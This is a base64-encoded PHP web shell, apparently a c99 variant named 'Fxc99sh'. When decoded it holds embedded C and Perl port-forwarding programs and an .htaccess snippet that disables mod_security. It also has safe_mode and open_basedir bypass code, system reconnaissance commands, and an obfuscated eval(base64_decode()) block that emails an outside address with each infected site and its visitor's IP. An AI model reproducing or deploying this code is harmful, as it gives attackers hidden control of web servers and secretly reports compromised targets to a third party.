CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BI TjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTINCngx WkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcwS0kybHVZMngx WkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9qYVc1amINCkhWa1pT QThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4c2FX NTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0ZEdWeWJpQmoNCmFHRnlJQ3B6 ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1 WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNu SnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEwS2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNu SXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFIxY200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pk T3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpu WXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpuZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMy OWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhU c05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3 RFFvZ0lHbHVkQ0JqWVdSa2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0Jt WkhOeUxDQm1aSE5sT3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElI TmxjblpsYm5RZ0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RR b2dJSFZ1YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFw SUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5 WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21WMGRY SnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9nSUdsbUlD Z2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNBZ0lDQWdJU2hv SUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3RFFvZ0lDQWdjR1Z5 Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRD QTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tI VnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYwcEtTazdEUW9nSUdsbUlDZ29iSE52 WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5R S1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJb0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRI VnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNV NUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBL SUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBL SUNBZ0lIQmxjbkoNCnZjaWdpWW1sdVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lD QnBaaUFvYkdsemRHVnVLR3h6YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlp azdEUW9nSUMNCkFnY21WMGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNv S1NrZ1BUMGdMVEVwSUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRn

TWpBN0QNClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lD QnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0pt TmgNClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2 Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDAN CmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9nSlhOY2Jp SXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpjMjlqYXkNCnd5 S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFn SUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMNCjI5amF6 c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hsSUNoM1lXbDBjR2xrS0MweExD Qk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJSEpsZEhWeWJpQXkNCk1Ec05DZzBL SUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlE UzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJu Um1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktT azdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1 SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNOQ2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2 Y0c5eWRDazdEUW9nSUcxbGJXTndlU2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Np d2dhQzArYUY5c1pXNW5kR2dwT3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxD QnphWHBsYjJZb2IyRmtaSElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFn WTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4 ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2Mz SXBPdzBLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVpt UnpjaWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFv YjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJQ0Fn YVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBT QXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhH NGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4ZFdsME1qc05DaUFn SUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlLU0I4ZkNCR1JGOUpVMU5G VkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJSEpsWVdRb1kz TnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnSUNCcFpp QW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5 T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpF WDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tnZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2Nt VmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJRHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lD QWdJR2xtSUNnb2QzSnANCmRHVW9ZM052WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhn Y1hWcGRESTdEUW9nSUNBZ2ZRMEtJQ0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052 WTJzc01pazdEUW8NCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tH Tm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJH OXpaU2hqWm0NCmxzWlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7DQokc2hlbGx2aWM9IlFXeDFR MkZTPT0iOw0KJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZ MnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9i M04wSQ0KQ0FnSUNBZ1BTQWtRVkpIVmxzeFhUc05DaVJ3YjNKMElDQWdJQ0FnUFNBa1FWSkhWbHN5WFRz TkNpUmtZV1Z0YjI0OU1Uc05DaVJFU1ZJZ1BTQjFibVJsWmpzTkNpUjhJRDBnTVRzTkNtbG1JQ2drWkdG bA0KYlc5dUtYc2dKSEJwWkNBOUlHWnZjbXM3SUdWNGFYUWdhV1lnSkhCcFpEc2daR2xsSUNJa0lTSWdk VzVzWlhOeklHUmxabWx1WldRb0pIQnBaQ2s3SUZCUFUwbFlPanB6WlhSemFXUW9LU0J2Y2lCa2FXVQ0K Z0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENj Z1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbA0KTnZZ MnRsZERvNlNVNUZWQzArYm1WM0tDZE1iMk5oYkZCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0oxSmxk WE5sSnlBOVBpQXhMQ2RNYVhOMFpXNG5JRDArSURFd0tTQjhmQ0JrYVdVZ0lpUWhJanNOQw0KaVJUU1Vk N0owTklURVFuZlNBOUlDZEpSMDVQVWtVbk93MEtKRzUxYlNBOUlEQTdEUXAzYUdsc1pTQW9NU2tnZXlB TkNpUmphQ0E5SUNSaGFDMCtZV05qWlhCMEtDazdJR2xtSUNnaEpHTm9LU0I3SUhCeQ0KYVc1MElGTlVS RVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdE UXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSg0KU0lDSWtJVnh1SWpz Z2ZTQU5DbVZzYzJsbUlDZ2tjR2xrSUQwOUlEQXBJSHNnSkdGb0xUNWpiRzl6WlNncE95QlNkVzRvWENW dkxDQWtZMmdzSUNSdWRXMHBPeUI5SUEwS1pXeHpaU0I3SUNSamFDMCtZMg0KeHZjMlVvS1RzZ2ZRMEtm UTBLYzNWaUlGSjFiaUI3RFFwdGVTZ2tieXdnSkdOb0xDQWtiblZ0S1NBOUlFQmZPdzBLYlhrZ0pIUm9J RDBnU1U4Nk9sTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZFFaV1Z5UQ0KV1JrY2ljZ1BUNGdKRzh0UG5z bmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlB b0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTg0KQ21sbUlDZ2tieTArZXlka2FYSW5m U2tnZXlBa1ptZ2dQU0JUZVcxaWIydzZPbWRsYm5ONWJTZ3BPeUJ2Y0dWdUtDUm1hQ3dnSWo0a2J5MCtl eWRrYVhJbmZTOTBkVzV1Wld3a2JuVnRMbXh2WnlJcElHOQ0KeUlHUnBaU0FpSkNFaU95QjlEUW9rWTJn

dFBtRjFkRzltYkhWemFDZ3BPdzBLSkhSb0xUNWhkWFJ2Wm14MWMyZ29LVHNOQ25kb2FXeGxJQ2drWTJn Z2ZId2dKSFJvS1NCN0RRcHRlU0FrY21sdUlEMGdJaQ0KSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZL Q1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJ REVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYw0KbTkxZEN3Z0pHVnZkWFFwT3cwS2MyVnNaV04wS0NS eWIzVjBJRDBnSkhKcGJpd2dkVzVrWldZc0lDUmxiM1YwSUQwZ0pISnBiaXdnTVRJd0tUc05DbWxtSUNn aEpISnZkWFFnSUNZbUlDQWhKR1Z2ZFhRcA0KSUh0OURRcHRlU0FrWTJKMVptWmxjaUE5SUNJaU93MEti WGtnSkhSaWRXWm1aWElnUFNBaUlqc05DbWxtSUNna1kyZ2dKaVlnS0habFl5Z2taVzkxZEN3Z1ptbHNa VzV2S0NSamFDa3NJREVwSUh4OElIWg0KbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1Nr Z2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNr N0RRcHBaaUFvSVdSbFptbHVaVw0KUW9KSEpsYzNWc2RDa3BJSHNOQ25CeWFXNTBJRk5VUkVWU1VpQWlK Q0ZjYmlJN0RRcGxlR2wwSURBN0RRcDlEUXBwWmlBb0pISmxjM1ZzZENBOVBTQXdLU0I3SUdWNGFYUWdN RHNnZlEwS2ZRMEthV1lnSw0KQ1IwYUNBZ0ppWWdJQ2gyWldNb0pHVnZkWFFzSUdacGJHVnVieWdrZEdn cExDQXhLU0FnZkh3Z2RtVmpLQ1J5YjNWMExDQm1hV3hsYm04b0pIUm9LU3dnTVNrcEtTQjdEUXB0ZVNB a2NtVnpkV3gwSUQwZw0KYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1J Q2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95Qmxl R2wwSURBN0lIMA0KTkNtbG1JQ2drY21WemRXeDBJRDA5SURBcElIdGxlR2wwSURBN2ZRMEtmUTBLYVdZ Z0tDUm1hQ0FnSmlZZ0lDUjBZblZtWm1WeUtTQjdLSEJ5YVc1MElDUm1hQ0FrZEdKMVptWmxjaWs3ZlEw S2QyaHBiRw0KVWdLRzE1SUNSc1pXNGdQU0JzWlc1bmRHZ29KSFJpZFdabVpYSXBLU0I3RFFwdGVTQWtj bVZ6SUQwZ2MzbHpkM0pwZEdVb0pIUm9MQ0FrZEdKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxj eUErSQ0KREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNB TkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNS cw0KWlc0Z1BTQnNaVzVuZEdnb0pHTmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBk R1VvSkdOb0xDQWtZMkoxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJREFwSUhza1kySg0K MVptWmxjaUE5SUhOMVluTjBjaWdrWTJKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1 MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZYMTlEUW89IjsNCiRzaGVsbF9kYXRhID0gIkpIWnBjMmww WTI5MWJuUWdQU0FrU0ZSVVVGOURUMDlMU1VWZlZrRlNVMXNpZG1semFYUnpJbDA3SUdsbUtDQWtkbWx6 YVhSamIzVnVkQ0E5UFNBaUlpa2dleVIyYVhOcGRHTnZkVzUwSUQwZ01Ec2dKSFpwYzJsMGIzSWdQU0Fr WDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc2dKSGRsWWlBOUlDUmZVMFZTVmtWU1d5SklWRlJR WDBoUFUxUWlYVHNnSkdsdWFpQTlJQ1JmVTBWU1ZrVlNXeUpTUlZGVlJWTlVYMVZTU1NKZE95QWtkR0Z5 WjJWMElEMGdKSGRsWWk0a2FXNXFPeUFrWW05a2VTQTlJQ0pDYjNOekxDQjBhR1Z5WlNCM1lYTWdZVzRn YVc1cVpXTjBaV1FnZEdGeVoyVjBJRzl1SUNSMFlYSm5aWFFnWW5rZ0pIWnBjMmwwYjNJaU95QnRZV2xz S0NKa1lXNW9ZMmh2YUdGamEwQjVZV2h2Ynk1amIyMGlMQ0pHZUdNNU9YTm9JR2x1YW1WamRHVmtJSFJo Y21kbGRDQnZiaUJvZEhSd09pOHZKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUlzSUNJa1ltOWtlU0lw T3lCOUlHVnNjMlVnZXlBa2RtbHphWFJqYjNWdWREc2dmU0J6WlhSamIyOXJhV1VvSW5acGMybDBjeUlz SkhacGMybDBZMjkxYm5RcE93PT0iOyBldmFsKGJhc2U2NF9kZWNvZGUoJHNoZWxsX2RhdGEpKTsNCiRw aHBfaW5pMT0iYzJGbVpWOXRiMlJsSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdQU0FnSUNBZ0lDQlBabVk9IjsN CiRodGFjY2VzPSJQRWxtVFc5a2RXeGxJRzF2WkY5elpXTjFjbWwwZVM1alBnMEtJQ0FnSUZObFkwWnBi SFJsY2tWdVoybHVaU0JQWm1ZTkNpQWdJQ0JUWldOR2FXeDBaWEpUWTJGdVVFOVRWQ0JQWm1ZTkNqd3ZT V1pOYjJSMWJHVSsiOw0KJHNuaV9yZXM9IlBEOE5DbVZqYUc4Z2FXNXBYMmRsZENnaWMyRm1aVjl0YjJS bElpazdEUXBsWTJodklHbHVhVjluWlhRb0ltOXdaVzVmWW1GelpXUnBjaUlwT3cwS2FXNWpiSFZrWlNn a1gwZEZWRnNpWm1sc1pTSmRLVHNOQ21sdWFWOXlaWE4wYjNKbEtDSnpZV1psWDIxdlpHVWlLVHNOQ21s dWFWOXlaWE4wYjNKbEtDSnZjR1Z1WDJKaGMyVmthWElpS1RzTkNtVmphRzhnYVc1cFgyZGxkQ2dpYzJG bVpWOXRiMlJsSWlrN0RRcGxZMmh2SUdsdWFWOW5aWFFvSW05d1pXNWZZbUZ6WldScGNpSXBPdzBLYVc1 amJIVmtaU2drWDBkRlZGc2ljM01pWFNrN0RRby9QZz09IjsNCg0KaWYoJHVuaXgpDQogew0KIGlmKCFp c3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tp ZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9DQog aWYoIWlzc2V0KCRfQ09PS0lFWydpZCddKSkgeyAkaWQgPSBleCgnaWQnKTsgc2V0Y29va2llKCdpZCcs JGlkKTsgfSBlbHNlIHsgJGlkID0gJF9DT09LSUVbJ2lkJ107IH0NCiBpZigkc2FmZV9tb2RlKSB7ICRz eXNjdGwgPSAnLSc7IH0NCiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0 bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQ0KIGVsc2UNCiAgew0KICAgJHN5c2N0bCA9IGV4KCdzeXNj dGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0 eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0 bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwg PSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCiAgfQ0KIH0NCiBpZighaXNz ZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNyddXSkpIHsNCiAJJHVzdF91PScnOw0K IAlpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkg ew0KIAkJCWlmKHdoaWNoKCRpdGVtKSl7JHVzdF91Lj0kaXRlbTt9DQogCQl9DQogCX0NCiAJaWYgKEBm dW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpICYmIEBpbl9hcnJheSgnbW9kX3Blcmwn LGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfdS49IiwgbW9kX3BlcmwiO30NCiAJaWYgKEBmdW5j dGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpICYmIEBpbl9hcnJheSgnbW9kX2luY2x1ZGUn

LGFwYWNoZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfdS49IiwgbW9kX2luY2x1ZGUoU1NJKSI7fQ0KIAlp ZiAoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpKSB7JHVzdF91Lj0iLCBwY250bF9leGVjIjt9 DQogCWlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnd2luMzJzdGQnKSkgeyR1c3RfdS49Iiwgd2luMzJzdGRf bG9hZGVkIjt9DQogCWlmIChAZXh0ZW5zaW9uX2xvYWRlZCgnd2luMzJzZXJ2aWNlJykpIHskdXN0X3Uu PSIsIHdpbjMyc2VydmljZV9sb2FkZWQiO30NCiAJaWYgKEBleHRlbnNpb25fbG9hZGVkKCdmZmknKSkg eyR1c3RfdS49IiwgZmZpX2xvYWRlZCI7fQ0KIAlpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ3BlcmwnKSkg eyR1c3RfdS49IiwgcGVybF9sb2FkZWQiO30NCiAJaWYoc3Vic3RyKCR1c3RfdSwwLDEpPT0iLCIpIHsk dXN0X3VbMF09IiI7fQ0KDQogCSR1c3RfdSA9IHRyaW0oJHVzdF91KTsNCiAJfQ0KIAllbHNlDQogCXsN CiAJJHVzdF91ID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM3J11dKTsNCiB9 DQoNCiBpZighaXNzZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddXSkpIHsNCiAJ JHVzdF9kPScnOw0KIAlpZigkdW5peCAmJiAhJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkZGFuZ2Vy IGFzICRpdGVtKSB7DQogCQkJaWYod2hpY2goJGl0ZW0pKXskdXN0X2QuPSRpdGVtO30NCiAJCX0NCiAJ fQ0KIAlpZighJHNhZmVfbW9kZSl7DQogCQlmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSB7DQogCQkJ aWYocHMoJGl0ZW0pKXskdXN0X2QuPSRpdGVtO30NCiAJCX0NCiAJfQ0KIAlpZiAoQGZ1bmN0aW9uX2V4 aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykgJiYgQGluX2FycmF5KCdtb2Rfc2VjdXJpdHknLGFwYWNo ZV9nZXRfbW9kdWxlcygpKSkgeyR1c3RfZC49IiwgbW9kX3NlY3VyaXR5Ijt9DQogCWlmKHN1YnN0cigk dXN0X2QsMCwxKT09IiwiKSB7JHVzdF9kWzBdPSIiO30NCg0KIAkkdXN0X2QgPSB0cmltKCR1c3RfZCk7 DQogCX1lbHNlIHsNCiAJJHVzdF9kID0gdHJpbSgkX0NPT0tJRVskbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0 MTM4J11dKTsNCiB9DQoNCiBpZighaXNzZXQoJF9DT09LSUVbJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0 MiddXSkpIHsNCg0KIAkkc2VsZWN0X2Rvd25sb2FkZXJzPSc8c2VsZWN0IHNpemU9IjEiIG5hbWU9d2l0 aD4nOw0KIAlpZigoIUBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdhbGxv d191cmxfZm9wZW4nKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykpKXskc2VsZWN0X2Rvd25sb2Fk ZXJzIC49ICI8b3B0aW9uIHZhbHVlPVwiZm9wZW5cIj5mb3Blbjwvb3B0aW9uPiI7JGRvd25sb2FkZXI9 ImZvcGVuIjt9DQogCWlmKCR1bml4ICYmICEkc2FmZV9tb2RlKXsNCiAJCWZvcmVhY2ggKCRkb3dubG9h ZGVycyBhcyAkaXRlbSkgew0KIAkJCWlmKHdoaWNoKCRpdGVtKSl7JHNlbGVjdF9kb3dubG9hZGVycyAu PSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIj4nLiRpdGVtLic8L29wdGlvbj4nOyRkb3dubG9hZGVy Lj0iLCAkaXRlbSI7fQ0KIAkJfQ0KIAl9DQogCSRzZWxlY3RfZG93bmxvYWRlcnMgLj0gJzwvc2VsZWN0 Pic7DQogCWlmKHN1YnN0cigkZG93bmxvYWRlciwwLDEpPT0iLCIpIHskZG93bmxvYWRlclswXT0iIjt9 DQoNCiAJJGRvd25sb2FkZXI9dHJpbSgkZG93bmxvYWRlcik7DQoNCiB9ZWxzZSB7DQogCSRzZWxlY3Rf ZG93bmxvYWRlcnMgPSAkX0NPT0tJRVsnc2VsZWN0X2Rvd25sb2FkZXJzJ107DQogCSRkb3dubG9hZGVy ID0gdHJpbSgkX0NPT0tJRVsnZG93bmxvYWRlciddKTsNCiB9DQoNCmVjaG8gJGhlYWQ7DQplY2hvICc8 L2hlYWQ+JzsNCmlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKSB7DQokc2VydiA9IGFycmF5KDEyNywxOTIs MTcyLDEwKTsNCiRhZGRyPUBleHBsb2RlKCcuJywgJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KJGN1 cnJlbnRfdmVyc2lvbiA9IHN0cl9yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7DQp9DQplY2hvICc8Ym9k eT48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1CbGFj 